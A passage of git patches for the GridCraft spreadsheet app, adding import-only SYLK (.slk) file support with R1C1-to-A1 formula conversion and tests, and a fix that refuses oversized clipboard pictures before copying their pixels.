cached results, number formats (P / F;P) and column widths (F;W). Import only; saving as .slk says so. The sheet is named after the file, and damaged records are skipped with a warning. Co-Authored-By: Claude Opus 5.5 --- apps/gridcraft-web/src/web.rs | 2 +- apps/gridcraft/src/main.rs | 2 +- crates/engine/src/io.rs | 15 +- crates/engine/src/io/sylk.rs | 323 ++++++++++++++++++++++++++++++++++ crates/engine/src/io/tests.rs | 78 ++++++++ docs/file-format-parity.md | 6 +- docs/gaps.md | 2 +- 7 files changed, 422 insertions(+), 6 deletions(-) create mode 100644 crates/engine/src/io/sylk.rs diff --git a/apps/gridcraft-web/src/web.rs b/apps/gridcraft-web/src/web.rs index 10e17dc44..33dc84936 100644 --- a/apps/gridcraft-web/src/web.rs +++ b/apps/gridcraft-web/src/web.rs @@ -193,7 +193,7 @@ fn services(inbox: Inbox, ctx: egui::Context) -> Services { let ctx = ctx.clone(); wasm_bindgen_futures::spawn_local(async move { let Some(file) = rfd::AsyncFileDialog::new() - .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"]) + .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "slk", "json"]) .pick_file() .await else { diff --git a/apps/gridcraft/src/main.rs b/apps/gridcraft/src/main.rs index 3aab1ccfc..d75fe702b 100644 --- a/apps/gridcraft/src/main.rs +++ b/apps/gridcraft/src/main.rs @@ -167,7 +167,7 @@ fn services() -> Services { paste_text: Some(Box::new(move || read_clipboard(&text_clipboard, |clipboard| clipboard.get_text()))), pick_open: Some(Box::new(|| { rfd::FileDialog::new() - .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"]) + .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "slk", "json"]) .add_filter("Excel Workbook", &["xlsx", "xlsm"]) .add_filter("Excel 97-2003 Workbook (import)", &["xls"]) .add_filter("Excel Binary Workbook (data import)", &["xlsb"]) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index ce1fb40b0..1382ecd07 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -1,4 +1,4 @@ -//! Opening and saving files: XLSX, legacy XLS import, XLSB and ODS data import, CSV/TSV, JSON (debug), HTML export. +//! Opening and saving files: XLSX, legacy XLS import, XLSB and ODS data import, SYLK import, CSV/TSV, JSON (debug), HTML export. use std::fmt::Write as _; @@ -7,6 +7,8 @@ use gridcraft_model::{Sheet, Workbook}; use crate::{EngineError, Result}; +mod sylk; + /// File formats GridCraft reads or writes. #[derive(Clone, Copy, Debug, PartialEq, Eq)] pub enum FileKind { @@ -19,6 +21,8 @@ pub enum FileKind { Tsv, Json, Html, + /// SYLK symbolic link text (import only). + Sylk, } impl FileKind { @@ -33,6 +37,7 @@ impl FileKind { "tsv" | "tab" | "txt" => FileKind::Tsv, "json" | "scjson" => FileKind::Json, "html" | "htm" => FileKind::Html, + "slk" => FileKind::Sylk, _ => return None, }) } @@ -310,6 +315,11 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, } Ok((wb, warnings)) } + Some(FileKind::Sylk) => { + let (mut wb, warnings) = sylk::read(name, bytes)?; + rename_first_sheet(&mut wb, name); + Ok((wb, warnings)) + } Some(FileKind::Tsv) => { let opts = gridcraft_xlsx::CsvOptions { delimiter: b'\t', parse_values: !csv_as_text, ..Default::default() }; let (mut wb, report) = gridcraft_xlsx::read_csv_with_report(bytes, &opts).map_err(|e| EngineError::Other(e.to_string()))?; @@ -389,6 +399,9 @@ pub fn save_bytes_as(wb: &Workbook, path: &str, kind: FileKind) -> Result Err(EngineError::Other("XLSB is supported for data import only. Save as .xlsx or another supported export format.".into())), FileKind::Ods => Err(EngineError::Other("ODS is supported for data import only. Save as .xlsx or another supported export format.".into())), + FileKind::Sylk => { + Err(EngineError::Other("SYLK (.slk) is supported for import only. Save as .xlsx or another supported export format.".into())) + } // A workbook read from CSV keeps the separator it was read with (a `;` file stays `;`). FileKind::Csv => wb.sheet(sheet).map(|sh| csv(wb, sh, wb.csv_delimiter.unwrap_or(b','))).transpose().map(Option::unwrap_or_default), FileKind::Tsv => wb.sheet(sheet).map(|sh| csv(wb, sh, b'\t')).transpose().map(Option::unwrap_or_default), diff --git a/crates/engine/src/io/sylk.rs b/crates/engine/src/io/sylk.rs new file mode 100644 index 000000000..9d8765783 --- /dev/null +++ b/crates/engine/src/io/sylk.rs @@ -0,0 +1,323 @@ +//! SYLK (`.slk`) import: the symbolic link text format older spreadsheets and some legacy systems +//! export. One record per line, fields separated by `;` (`;;` is a literal semicolon): +//! +//! - `ID` starts the file; `E` ends it. +//! - `C;Y;X;K;E` is a cell. `Y` and `X` may be left out to stay on the +//! current row or column. `K` is a number, `"text"`, `TRUE`/`FALSE` or an error; `E` is a +//! formula in R1C1 notation; `S;R;C` shares the formula of another cell. +//! - `P;P` adds a number format to the file's list; `F;P;Y;X` gives a cell the +//! n-th format (0-based), and `F;W ` sets column widths in characters. +//! +//! Other records (fonts, options, window settings) are skipped. Formulas are converted to A1 with +//! the same relative and absolute references, as Excel does when it opens the file. + +use std::collections::HashMap; +use std::sync::Arc; + +use gridcraft_core::{CellError, CellRef, MAX_COLS, MAX_ROWS, Value, col_to_letters}; +use gridcraft_model::{Cell, Formula, NumFmt, Sheet, Style, Workbook}; + +use crate::{EngineError, Result}; + +/// The largest SYLK file read, as for other text imports: past it the file is refused. +const MAX_BYTES: usize = 512 << 20; + +/// Reads a SYLK file into a one-sheet workbook. Returns the workbook and its warnings. +pub fn read(name: &str, bytes: &[u8]) -> Result<(Workbook, Vec)> { + if bytes.len() > MAX_BYTES { + return Err(EngineError::Other(format!("We can't open '{name}': the SYLK file is larger than {} MB.", MAX_BYTES >> 20))); + } + let text = match std::str::from_utf8(bytes) { + Ok(s) => s.to_string(), + // Older exports are in a single-byte code page: keep each byte as its Latin-1 character. + Err(_) => bytes.iter().map(|&b| char::from(b)).collect(), + }; + let text = text.strip_prefix('\u{feff}').unwrap_or(&text); + if !text.starts_with("ID") { + return Err(EngineError::Other(format!("We can't open '{name}': it isn't a SYLK file (it doesn't start with an ID record)."))); + } + let mut sheet = Sheet::new("Sheet1"); + let mut formats: Vec = Vec::new(); + // Cells' number formats by index into `formats`, applied once every format is known. + let mut cell_formats: Vec<(CellRef, usize)> = Vec::new(); + let mut formulas: HashMap = HashMap::new(); + let mut widths: Vec<(u32, u32, f64)> = Vec::new(); + let (mut row, mut col) = (0u32, 0u32); + let mut skipped = 0usize; + for line in text.lines() { + let fields = split_fields(line); + let Some((kind, rest)) = fields.split_first() else { continue }; + match kind.as_str() { + "C" => { + let (mut value, mut formula, mut shared) = (None, None, None::<(Option, Option)>); + let mut bad = false; + for f in rest { + let (tag, arg) = f.split_at(f.chars().next().map_or(0, char::len_utf8)); + match tag { + "Y" => match position(arg, MAX_ROWS) { + Some(r) => row = r, + None => bad = true, + }, + "X" => match position(arg, MAX_COLS) { + Some(c) => col = c, + None => bad = true, + }, + "K" => value = Some(parse_value(arg)), + "E" => formula = Some(arg.to_string()), + "S" => shared = Some((None, None)), + // In a shared-formula cell, R and C name the cell whose formula it shares. + "R" if shared.is_some() => shared = shared.map(|(_, c)| (position(arg, MAX_ROWS), c)), + "C" if shared.is_some() => shared = shared.map(|(r, _)| (r, position(arg, MAX_COLS))), + _ => {} + } + } + if bad { + skipped += 1; + continue; + } + let at = CellRef::new(row, col); + if let Some((Some(r), Some(c))) = shared { + formula = formulas.get(&CellRef::new(r, c)).cloned(); + } + let mut cell = sheet.cell(at).cloned().unwrap_or_else(|| Cell::value(Value::Empty)); + if let Some(v) = value { + cell.value = v; + } + if let Some(r1c1) = formula { + let a1 = r1c1_formula_to_a1(&r1c1, at); + let f = Formula::new(&a1); + if f.expr.is_some() { + cell.formula = Some(Arc::new(f)); + formulas.insert(at, r1c1); + } else { + skipped += 1; + } + } + sheet.set_cell(at, cell); + } + "F" => { + let mut format = None; + for f in rest { + let (tag, arg) = f.split_at(f.chars().next().map_or(0, char::len_utf8)); + match tag { + "Y" => row = position(arg, MAX_ROWS).unwrap_or(row), + "X" => col = position(arg, MAX_COLS).unwrap_or(col), + "P" => format = arg.parse::().ok(), + "W" => { + let mut parts = arg.split_whitespace(); + if let (Some(first), Some(last), Some(width)) = (parts.next(), parts.next(), parts.next()) + && let (Some(first), Some(last), Ok(width)) = + (position(first, MAX_COLS), position(last, MAX_COLS), width.parse::()) + && first <= last + && (0.0..=255.0).contains(&width) + { + widths.push((first, last, width)); + } + } + _ => {} + } + } + if let Some(format) = format { + cell_formats.push((CellRef::new(row, col), format)); + } + } + // Number formats only: `P;F…` and `P;E…` are fonts. + "P" => { + if let Some(code) = rest.first().and_then(|f| f.strip_prefix('P')) { + formats.push(code.to_string()); + } + } + "E" => break, + _ => {} + } + } + for (first, last, width) in widths { + let size = crate::cmd::format::chars_to_points(width) as f32; + for c in first..=last { + sheet.cols.entry(c).or_default().size = Some(size); + } + } + let mut wb = Workbook::new(); + let mut styles = HashMap::new(); + for (at, index) in cell_formats { + let Some(code) = formats.get(index).filter(|code| !code.is_empty() && *code != "General") else { continue }; + let style = *styles.entry(index).or_insert_with(|| wb.styles.intern(Style { num_fmt: NumFmt(Arc::from(code.as_str())), ..Style::default() })); + let mut cell = sheet.cell(at).cloned().unwrap_or_else(|| Cell::value(Value::Empty)); + cell.style = style; + sheet.set_cell(at, cell); + } + if let Some(first) = wb.sheet_mut(0) { + sheet.name = std::mem::take(&mut first.name); + *first = sheet; + } + let mut warnings = Vec::new(); + if skipped > 0 { + warnings.push(format!("{name}: {skipped} SYLK records GridCraft couldn't read were skipped")); + } + Ok((wb, warnings)) +} + +/// A record's fields: `;` separates them and `;;` is a literal semicolon. +fn split_fields(line: &str) -> Vec { + let mut fields = vec![String::new()]; + let mut chars = line.trim_end_matches('\r').chars().peekable(); + while let Some(c) = chars.next() { + if c == ';' { + if chars.peek() == Some(&';') { + chars.next(); + if let Some(f) = fields.last_mut() { + f.push(';'); + } + } else { + fields.push(String::new()); + } + } else if let Some(f) = fields.last_mut() { + f.push(c); + } + } + fields +} + +/// A 1-based row or column number → 0-based, within `max`. +fn position(arg: &str, max: u32) -> Option { + arg.trim().parse::().ok().filter(|n| (1..=max).contains(n)).map(|n| n - 1) +} + +/// A `K` value: `"text"` (everything between the first and the last quote, as written), a +/// boolean, an error or a number. +fn parse_value(arg: &str) -> Value { + if let Some(text) = arg.strip_prefix('"') { + let text = text.strip_suffix('"').unwrap_or(text); + return Value::Text(Arc::from(text)); + } + if arg.eq_ignore_ascii_case("TRUE") || arg.eq_ignore_ascii_case("FALSE") { + return Value::Bool(arg.eq_ignore_ascii_case("TRUE")); + } + if let Some(e) = CellError::parse(arg) { + return Value::Error(e); + } + match arg.trim().parse::() { + Ok(n) if n.is_finite() => Value::Number(n), + _ => Value::Text(Arc::from(arg)), + } +} + +/// One part of an R1C1 reference: `R`/`C` followed by an absolute number, a bracketed offset or +/// nothing (the cell's own row or column). +#[derive(Clone, Copy, Debug, PartialEq)] +enum Part { + Absolute(u32), + Relative(i64), +} + +impl Part { + /// The 0-based index and whether it is absolute, or `None` when it falls off the sheet. + fn resolve(self, base: u32, max: u32) -> Option<(u32, bool)> { + match self { + Part::Absolute(n) => (1..=max).contains(&n).then(|| (n - 1, true)), + Part::Relative(k) => u32::try_from(i64::from(base) + k).ok().filter(|v| *v < max).map(|v| (v, false)), + } + } +} + +/// Parses the number after `R` or `C` at `i`: digits, `[offset]` or nothing. Returns the part and +/// the index after it, or `None` when the text isn't a reference part. +fn parse_part(chars: &[char], i: usize) -> Option<(Part, usize)> { + match chars.get(i) { + Some('[') => { + let close = chars[i..].iter().position(|&c| c == ']')? + i; + let inner: String = chars[i + 1..close].iter().collect(); + Some((Part::Relative(inner.parse().ok()?), close + 1)) + } + Some(c) if c.is_ascii_digit() => { + let end = chars[i..].iter().position(|c| !c.is_ascii_digit()).map_or(chars.len(), |p| p + i); + let n: String = chars[i..end].iter().collect(); + Some((Part::Absolute(n.parse().unwrap_or(u32::MAX)), end)) + } + _ => Some((Part::Relative(0), i)), + } +} + +fn is_word_char(c: char) -> bool { + c.is_alphanumeric() || matches!(c, '_' | '.' | '\\' | '?' | '$') +} + +/// Rewrites the R1C1 references in a SYLK formula as A1 references for the cell at `at`: +/// `RC[-1]` → `B2`, `R1C1` → `$A$1`, `R[-2]C:R[-1]C` → `D2:D3`, a whole column `C4` → `$D:$D` and +/// a whole row `R3` → `$3:$3`. Text in quotes and quoted sheet names are left alone; a reference +/// off the sheet becomes `#REF!`. +pub(crate) fn r1c1_formula_to_a1(formula: &str, at: CellRef) -> String { + let chars: Vec = formula.chars().collect(); + let mut out = String::with_capacity(formula.len()); + let mut i = 0; + while i < chars.len() { + let c = chars[i]; + if c == '"' || c == '\'' { + // Copy the quoted run as it is; a doubled quote stays inside it. + let mut j = i + 1; + while j < chars.len() && !(chars[j] == c && chars.get(j + 1) != Some(&c)) { + j += if chars[j] == c { 2 } else { 1 }; + } + let stop = (j + 1).min(chars.len()); + out.extend(&chars[i..stop]); + i = stop; + continue; + } + let starts_word = i == 0 || !is_word_char(chars[i - 1]); + if starts_word + && matches!(c, 'R' | 'r' | 'C' | 'c') + && let Some((text, next)) = reference_at(&chars, i, at) + { + out.push_str(&text); + i = next; + continue; + } + // Copy the rest of a word as it is, so `ROUND` or `Sheet2` isn't read as a reference. + if is_word_char(c) { + let end = (i..chars.len()).find(|&j| !is_word_char(chars[j])).unwrap_or(chars.len()); + out.extend(&chars[i..end]); + i = end; + } else { + out.push(c); + i += 1; + } + } + out +} + +/// The A1 text of the R1C1 reference starting at `i`, and the index after it, or `None` when the +/// word there isn't a reference (a function or a name). +fn reference_at(chars: &[char], i: usize, at: CellRef) -> Option<(String, usize)> { + let mut j = i; + let mut row = None; + let mut col = None; + if matches!(chars.get(j), Some('R' | 'r')) { + let (part, next) = parse_part(chars, j + 1)?; + row = Some(part); + j = next; + } + if matches!(chars.get(j), Some('C' | 'c')) { + let (part, next) = parse_part(chars, j + 1)?; + col = Some(part); + j = next; + } + if row.is_none() && col.is_none() { + return None; + } + // A reference ends the word: `ROUND(`, `RATE` or `R2D2` are names. + if chars.get(j).is_some_and(|&c| is_word_char(c) || c == '(' || c == '[' || c == '!') { + return None; + } + let row_text = |p: Part| p.resolve(at.row, MAX_ROWS).map(|(r, abs)| format!("{}{}", if abs { "$" } else { "" }, r + 1)); + let col_text = |p: Part| p.resolve(at.col, MAX_COLS).map(|(c, abs)| format!("{}{}", if abs { "$" } else { "" }, col_to_letters(c))); + // One side of a range (`R2:R4`, `C1:C3`) is written alone; a lone row or column is the whole of it. + let prev = chars[..i].iter().rev().find(|c| !c.is_whitespace()); + let in_range = prev == Some(&':') || chars[j..].iter().find(|c| !c.is_whitespace()) == Some(&':'); + let text = match (row, col) { + (Some(r), Some(c)) => row_text(r).zip(col_text(c)).map(|(r, c)| format!("{c}{r}")), + (Some(r), None) => row_text(r).map(|r| if in_range { r } else { format!("{r}:{r}") }), + (None, Some(c)) => col_text(c).map(|c| if in_range { c } else { format!("{c}:{c}") }), + (None, None) => None, + }; + Some((text.unwrap_or_else(|| "#REF!".into()), j)) +} diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 9051c5c09..9e2adea32 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -604,3 +604,81 @@ fn opening_google_sheets_export_unwraps_only_formulas_gridcraft_calculates() { assert_eq!(text("A2").as_deref(), Some("IFERROR(__XLUDF.DUMMYFUNCTION(\"GOOGLETRANSLATE(\"\"hi\"\",\"\"en\"\",\"\"fr\"\")\"),\"salut\")")); assert_eq!(opened.sheets[0].cells.get(CellRef::parse("A2").unwrap()).map(|c| c.value.clone()), Some(Value::text("salut"))); } + +/// A small SYLK file written the way spreadsheets export one: a header, number formats, column +/// widths, cells that carry on from the last row or column, formulas in R1C1 and a shared formula. +const SYLK: &str = "ID;PTEST;N;E\r\nP;PGeneral\r\nP;P0.00\r\nP;Pyyyy\\-mm\\-dd\r\nF;W1 1 18\r\nF;W2 3 9\r\nB;Y5;X7\r\n\ +C;Y1;X1;K\"Item\"\r\nC;X2;K\"Qty\"\r\nC;X4;K\"Total\"\r\n\ +C;Y2;X1;K\"Bolts;; small\"\r\nC;X2;K12\r\nF;P1;F$2G;X3\r\nC;X3;K0.35\r\nC;X4;K4.2;ERC[-2]*RC[-1]\r\n\ +C;X5;K52;ER2C2+R[1]C[-3]\r\nC;X6;KTRUE\r\nC;X7;K8.4;ERC[-3]*2\r\n\ +C;Y3;X1;K\"Nuts \"\"hex\"\"\"\r\nC;X2;K40\r\nC;X3;K0.12\r\nC;X4;K4.8;ERC[-2]*RC[-1]\r\nC;X5;K\"big\";EIF(R4C4>5,\"big\",\"small\")\r\nC;X7;K9.6;S;R2;C7\r\n\ +C;Y4;X1;K\"Sum\"\r\nC;X4;K9;ESUM(R[-2]C:R[-1]C)\r\nC;X5;K#DIV/0!;E1/0\r\nC;X7;K18;ESUM(C4)\r\n\ +F;P2;FG0G;Y5;X2\r\nC;Y5;X2;K45000\r\nC;X3;K\"R2C3\";E\"R2C3\"\r\nE\r\n"; + +#[test] +fn sylk_files_open_with_values_formulas_formats_and_widths() { + let (wb, warnings) = open_bytes("Parts list.slk", SYLK.as_bytes()).unwrap(); + assert!(warnings.is_empty(), "{warnings:?}"); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.name, "Parts list", "the sheet is named after the file"); + let at = |a: &str| CellRef::parse(a).unwrap(); + let formula = |a: &str| sh.cell(at(a)).and_then(|c| c.formula.as_ref()).map(|f| f.text.clone()); + let text = |s: &str| gridcraft_core::Value::Text(s.into()); + assert_eq!(sh.value(at("A1")), text("Item")); + assert_eq!(sh.value(at("A2")), text("Bolts; small"), ";; is a semicolon"); + assert_eq!(sh.value(at("A3")), text("Nuts \"\"hex\"\""), "text is kept between the outer quotes as written"); + assert_eq!(sh.value(at("B2")), gridcraft_core::Value::Number(12.0)); + assert_eq!(sh.value(at("F2")), gridcraft_core::Value::Bool(true)); + assert_eq!(sh.value(at("E4")), gridcraft_core::Value::Error(gridcraft_core::CellError::Div0)); + assert_eq!(sh.value(at("D4")), gridcraft_core::Value::Number(9.0), "a formula keeps the value the file cached"); + assert_eq!(formula("D2").as_deref(), Some("B2*C2")); + assert_eq!(formula("E2").as_deref(), Some("$B$2+B3")); + assert_eq!(formula("E3").as_deref(), Some("IF($D$4>5,\"big\",\"small\")")); + assert_eq!(formula("D4").as_deref(), Some("SUM(D2:D3)")); + assert_eq!(formula("G3").as_deref(), Some("D3*2"), "a shared formula is the other cell's, moved"); + assert_eq!(formula("G4").as_deref(), Some("SUM($D:$D)"), "C4 alone is the whole column"); + assert_eq!(formula("C5").as_deref(), Some("\"R2C3\""), "text in quotes isn't a reference"); + // `F;P1;X3` formats the cell on the current row only. + let fmt = |a: &str| wb.styles.get(sh.style_id(at(a))).num_fmt.0.to_string(); + assert_eq!(fmt("C2"), "0.00"); + assert_eq!(fmt("C3"), "General"); + assert_eq!(fmt("B5"), "yyyy\\-mm\\-dd"); + // Widths are in characters, like the Column Width dialog's. + let chars = |c: u32| gridcraft_model::points_to_chars(f64::from(sh.col_width(c))); + assert_eq!((chars(0), chars(1), chars(2)), (18.0, 9.0, 9.0)); + assert_eq!(sh.cols.get(&3).and_then(|i| i.size), None, "column D keeps the default width"); +} + +#[test] +fn sylk_r1c1_formulas_become_a1() { + let b2 = CellRef::parse("B2").unwrap(); + for (r1c1, a1) in [ + ("RC", "B2"), + ("R[1]C[-1]", "A3"), + ("R1C1:R2C2", "$A$1:$B$2"), + ("R3", "$3:$3"), + ("R1:R[2]", "$1:4"), + ("C[1]", "C:C"), + ("SUM(C3:C4)", "SUM($C:$D)"), + ("ROUND(RC[1],2)+RATE(1,2,3)", "ROUND(C2,2)+RATE(1,2,3)"), + ("'R1C1 sheet'!R1C1", "'R1C1 sheet'!$A$1"), + ("Sheet2!RC", "Sheet2!B2"), + ("R2D2+rc", "R2D2+B2"), + ("R[-5]C", "#REF!"), + ("\"RC\"&R1C1", "\"RC\"&$A$1"), + ] { + assert_eq!(sylk::r1c1_formula_to_a1(r1c1, b2), a1, "{r1c1}"); + } +} + +#[test] +fn sylk_rejects_other_files_and_survives_damage() { + assert!(open_bytes("not.slk", b"A,B\n1,2\n").is_err(), "a SYLK file starts with ID"); + // Positions off the sheet, broken numbers, a missing end and a format past the list. + let (wb, warnings) = + open_bytes("damaged.slk", b"ID;P\nC;Y0;X1;K1\nC;Y2;X99999;K2\nC;Y3;X1;K1e999\nF;P7;Y3;X1\nF;W5 2 9\nC;Y4;X1;K5;E(((\n").unwrap(); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.cells.iter().count(), 2, "{:?}", sh.cells.iter().collect::>()); + assert_eq!(sh.value(CellRef::parse("A3").unwrap()), gridcraft_core::Value::Text("1e999".into())); + assert_eq!(warnings.len(), 1, "skipped records are reported: {warnings:?}"); +} diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..f117806a3 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -106,7 +106,8 @@ past the parser's limit, and a wrapper inside the text. **Saving writes the real | `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection; per-column day/month date-order detection for `/` and `-` dates) | yes (UTF-8 without BOM, CRLF) | Writes the **displayed** values like Excel (number formats applied, formula results, never column-width `#####`); `file.exportCsv {values: true}` writes raw values instead. No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | | `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8; per-column day/month date-order detection for `/` and `-` dates) | yes (displayed values) | Text Import Wizard options partly via Text to Columns | | `.prn` formatted text (space-delimited) | R/W | no | no | | -| `.dif`, `.slk` (SYLK) | R/W | no | no | Small, legacy | +| `.slk` SYLK | R/W | **yes, partial** (#1481) | no (Save As `.xlsx`) | Values (numbers, text, booleans, errors), formulas converted from R1C1 to A1 as Excel does (relative and absolute references, ranges, whole rows and columns, shared formulas) with their cached results, number formats (`P`/`F;P`), column widths (`F;W`); the sheet is named after the file. Not read: fonts and cell styles, row heights, names, comments. Non-UTF-8 files are read as Latin-1 | engine `io/tests.rs` (`sylk_*`) | +| `.dif` Data Interchange Format | R/W | no | no | Small, legacy | | `.htm` / `.html` web page | R/W (Windows) | yes, via Get Data ▸ From HTML | yes (one sheet as a table; a used range taller than 100,001 rows fails with an error instead of being cut short) | Formatting not exported. A sheet with pictures or charts is written with the sheet's own column widths and row heights, a picture as a `data:` URI `` and a chart as inline SVG, each placed at its anchor; shapes, text boxes and comments are not exported | | `.mht` / `.mhtml` single-file web page | R/W (Windows) | no | no | | | `.json` | via Power Query | GridCraft's own workbook JSON (debug) and JSON import | GridCraft JSON | Not Power Query's JSON shaping; notes and hyperlinks break export (#126) | @@ -148,13 +149,14 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Legacy `.xls` (BIFF8): exact theme colours (XFExt), comments, CF, validation, pictures and charts on import; corpus run; then write | 10–15 | | Encrypted workbooks: save with password (#11) | 4–6 | | XLSB and ODS: formulas and formatting on import; then write | 10–15 | -| CSV/text: encoding choice, `.prn`, `.dif`, `.slk`, XML Spreadsheet 2003 | 4–7 | +| CSV/text: encoding choice, `.prn`, `.dif`, XML Spreadsheet 2003 | 4–7 | | PDF: embed subsetted system fonts so every script exports | (counted in [localization](localization-parity.md) script work) | ## Revision history | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | SYLK (`.slk`) import: values, R1C1 formulas as A1 (shared formulas too) with cached results, number formats and column widths; import only (#1481) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | diff --git a/docs/gaps.md b/docs/gaps.md index de725fb4c..8879e967d 100644 --- a/docs/gaps.md +++ b/docs/gaps.md @@ -157,7 +157,7 @@ No alpha blockers: every core workflow passes the [alpha gate](roadmap.md#alpha- [ui-parity.md](ui-parity.md#accessibility) ### 19. XLSB/ODS beyond values; minor formats (FF) -- XLSB and ODS import values only, no write; no `.prn`, `.dif`, `.slk`, XML Spreadsheet 2003; CSV +- XLSB and ODS import values only, no write; no `.prn`, `.dif`, XML Spreadsheet 2003 (`.slk` imports values, formulas, number formats and widths); CSV writes raw instead of displayed values; templates saved with the workbook content type. **Estimate:** 15–23 h. From e56a722bb4751089d34b3b750802f75f0211ea5b Mon Sep 17 00:00:00 2001 From: adifiedio Date: Tue, 3 Nov 2026 14:25:14 +0530 Subject: [PATCH 257/298] Clipboard: refuse oversized pasted pictures before copying their pixels; document paste as desktop-only (#699) --- crates/ui-egui/src/app/clipboard.rs | 19 +++++++++++++++---- crates/ui-egui/tests/it/clipboard.rs | 9 +++++++++ docs/cell-pictures.md | 3 ++- docs/ui-parity.md | 2 +- 4 files changed, 27 insertions(+), 6 deletions(-) diff --git a/crates/ui-egui/src/app/clipboard.rs b/crates/ui-egui/src/app/clipboard.rs index 3ef59a8af..4b7cc74d9 100644 --- a/crates/ui-egui/src/app/clipboard.rs +++ b/crates/ui-egui/src/app/clipboard.rs @@ -74,8 +74,13 @@ impl SheetApp { /// Cmd/Ctrl+V with a picture and no text on the clipboard (egui's `Event::PasteImage`). pub fn paste_color_image(&mut self, image: &egui::ColorImage) { let [w, h] = image.size; + // A side too large for u32 is too large to paste; check before copying the pixels. + let (w, h) = (u32::try_from(w).unwrap_or(u32::MAX), u32::try_from(h).unwrap_or(u32::MAX)); + if let Err(e) = check_picture_size(w, h) { + return self.alert(e); + } let rgba = image.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect(); - match u32::try_from(w).ok().zip(u32::try_from(h).ok()).and_then(|(w, h)| image::RgbaImage::from_raw(w, h, rgba)) { + match image::RgbaImage::from_raw(w, h, rgba) { Some(image) => self.paste_picture(image), None => self.alert("The picture on the clipboard can't be read.".into()), } @@ -104,15 +109,21 @@ impl SheetApp { const MAX_PICTURE_SIDE: u32 = 16_384; const MAX_PICTURE_PIXELS: u64 = 64 * 1024 * 1024; -/// PNG bytes of a clipboard picture, refusing sizes that would exhaust memory. -fn encode_png(image: &image::RgbaImage) -> Result, String> { - let (w, h) = image.dimensions(); +/// Refuse empty clipboard pictures and sizes that would exhaust memory. +fn check_picture_size(w: u32, h: u32) -> Result<(), String> { if w == 0 || h == 0 { return Err("The picture on the clipboard is empty.".into()); } if w > MAX_PICTURE_SIDE || h > MAX_PICTURE_SIDE || u64::from(w) * u64::from(h) > MAX_PICTURE_PIXELS { return Err("The picture on the clipboard is too large to paste.".into()); } + Ok(()) +} + +/// PNG bytes of a clipboard picture, refusing sizes that would exhaust memory. +fn encode_png(image: &image::RgbaImage) -> Result, String> { + let (w, h) = image.dimensions(); + check_picture_size(w, h)?; let mut png = Vec::new(); image .write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png) diff --git a/crates/ui-egui/tests/it/clipboard.rs b/crates/ui-egui/tests/it/clipboard.rs index ee52dc162..38c6ea259 100644 --- a/crates/ui-egui/tests/it/clipboard.rs +++ b/crates/ui-egui/tests/it/clipboard.rs @@ -522,6 +522,15 @@ fn a_malformed_clipboard_picture_is_refused_without_inserting() { h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(egui::ColorImage::new([0, 0], Vec::new())))); h.run_steps(2); assert!(pictures(&h).is_empty()); + + // Wider than the 16384-pixel limit: refused before its pixels are copied. + dismiss(&mut h); + let wide = egui::ColorImage::new([20_000, 1], vec![egui::Color32::WHITE; 20_000]); + h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(wide))); + h.run_steps(2); + assert!(pictures(&h).is_empty()); + let message = format!("{:?}", h.state().message); + assert!(message.contains("too large"), "{message}"); } #[test] diff --git a/docs/cell-pictures.md b/docs/cell-pictures.md index 1257476c5..0803128a4 100644 --- a/docs/cell-pictures.md +++ b/docs/cell-pictures.md @@ -19,7 +19,8 @@ The command API accepts the same placement: This initial feature handles static pictures. A picture on the operating system's clipboard (a screenshot, an image copied in a browser) pastes with Cmd/Ctrl+V or Paste as a floating picture -at the active cell, as in Excel. Pasting it into a cell, converting between floating and cell +at the active cell, as in Excel (desktop builds only: the web build's paste receives clipboard +text alone, so a picture with no text pastes nothing there). Pasting it into a cell, converting between floating and cell pictures, and the `IMAGE()` function remain separate work. Formula references and arithmetic do not carry pictures: the calculation engine uses a `#VALUE!` fallback, including when a picture is referenced from another cell. Text-only exports also use that fallback. The picture cell still counts as occupied and diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 76ecc39e0..ae2bf9db6 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -308,7 +308,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | 